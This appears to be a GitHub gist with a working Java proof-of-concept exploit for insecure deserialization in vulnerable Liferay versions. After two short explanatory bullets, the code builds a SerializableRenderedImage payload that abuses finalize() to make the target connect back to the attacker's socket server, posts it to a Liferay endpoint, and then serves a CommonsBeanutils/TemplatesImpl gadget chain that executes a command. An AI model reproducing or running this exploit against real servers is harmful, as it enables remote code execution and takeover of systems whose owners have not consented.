Skip to content

Instantly share code, notes, and snippets.

@to016
Created September 1, 2023 15:48
Show Gist options
  • Save to016/e391e92792f132f0e5d818bdff08155f to your computer and use it in GitHub Desktop.
Save to016/e391e92792f132f0e5d818bdff08155f to your computer and use it in GitHub Desktop.
  • Abusing finalize() method (called by garbage collector latter) to exploit java native deserialization (read more here)
  • Affect vulnerable version of liferay whhich used look-ahead object inputstream for checking insecure deserialization (ex: liferay-ce-portal-7.0-ga3)

POC:

import com.sun.media.jai.rmi.ColorModelState;
import com.sun.media.jai.rmi.SampleModelState;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewMethod;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.InputStreamEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.media.jai.remote.SerializableRenderedImage;
import javax.media.jai.remote.SerializerFactory;
import java.awt.*;
import java.awt.color.ColorSpace;
import java.awt.image.*;
import java.io.*;
import java.net.*;
import java.util.Base64;
import java.util.Hashtable;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {


        int width = 300;
        int height = 200;
        BufferedImage bufferedImage = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
        Graphics2D g2d = bufferedImage.createGraphics();
        g2d.setColor(Color.WHITE);
        g2d.fillRect(0, 0, width, height);
        g2d.setColor(Color.RED);
        g2d.drawLine(0, 0, width, height);
        g2d.dispose();
        SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(bufferedImage);
        Reflections.setFieldValue(serializableRenderedImage, "isServer", false);
        Reflections.setFieldValue(serializableRenderedImage, "useDeepCopy", true);
        Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName("127.0.0.1"));
        Reflections.setFieldValue(serializableRenderedImage, "port", 9090);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload_finalize.ser"));
        oos.writeObject(serializableRenderedImage);
        oos.close();

        Object templates = Gadgets.createTemplatesImpl(new String[]{"calc"});
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("2");
        Reflections.setFieldValue(beanComparator, "property", "outputProperties");
        Reflections.setFieldValue(priorityQueue, "queue", new Object[]{templates, null});
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
        objectOutputStream.writeObject(priorityQueue);

        //HTTP POST
        String apiUrl = "http://192.168.169.1:8080/api/liferay";
        String filePath = "payload_finalize.ser";
        File file = new File(filePath);
        if (!file.exists()) {
            System.err.println("File does not exist: " + filePath);
            return;
        }

        try (CloseableHttpClient httpClient = HttpClients.createDefault()) {
            HttpPost httpPost = new HttpPost(apiUrl);

            InputStreamEntity entity = new InputStreamEntity(new FileInputStream(file), ContentType.APPLICATION_OCTET_STREAM);
            httpPost.setEntity(entity);

            HttpResponse response = httpClient.execute(httpPost);
            int statusCode = response.getStatusLine().getStatusCode();
            System.out.println("Response Code: " + statusCode);

            // Close the response entity to release resources
            HttpEntity responseEntity = response.getEntity();
            if (responseEntity != null) {
                responseEntity.getContent().close();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }

        //Socket server to send back payload
        int port = 9090;
        String filename = "cc2.ser";
        boolean done = false;
        try (ServerSocket serverSocket = new ServerSocket(port)) {
            System.out.println("Server listening on port " + port);

            while (!done) {
                Socket clientSocket = serverSocket.accept();
                System.out.println("Client connected from " + clientSocket.getInetAddress());

                try (OutputStream outputStream = clientSocket.getOutputStream();
                     ObjectOutputStream objectOut = new ObjectOutputStream(outputStream);
                     ObjectInputStream objectIn = new ObjectInputStream(clientSocket.getInputStream())) {

                    String command = (String) objectIn.readObject();
                    if ("CLOSE".equals(command)) {
                        try (FileInputStream fileInputStream = new FileInputStream(filename)) {
                            byte[] buffer = new byte[1024];
                            int bytesRead;
                            while ((bytesRead = fileInputStream.read(buffer)) != -1) {
                                objectOut.write(buffer, 0, bytesRead);
                            }
                            objectOut.flush();
                        }
                        done = true;
                    }
                } catch (IOException | ClassNotFoundException e) {
                    e.printStackTrace();
                } finally {
                    clientSocket.close();
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment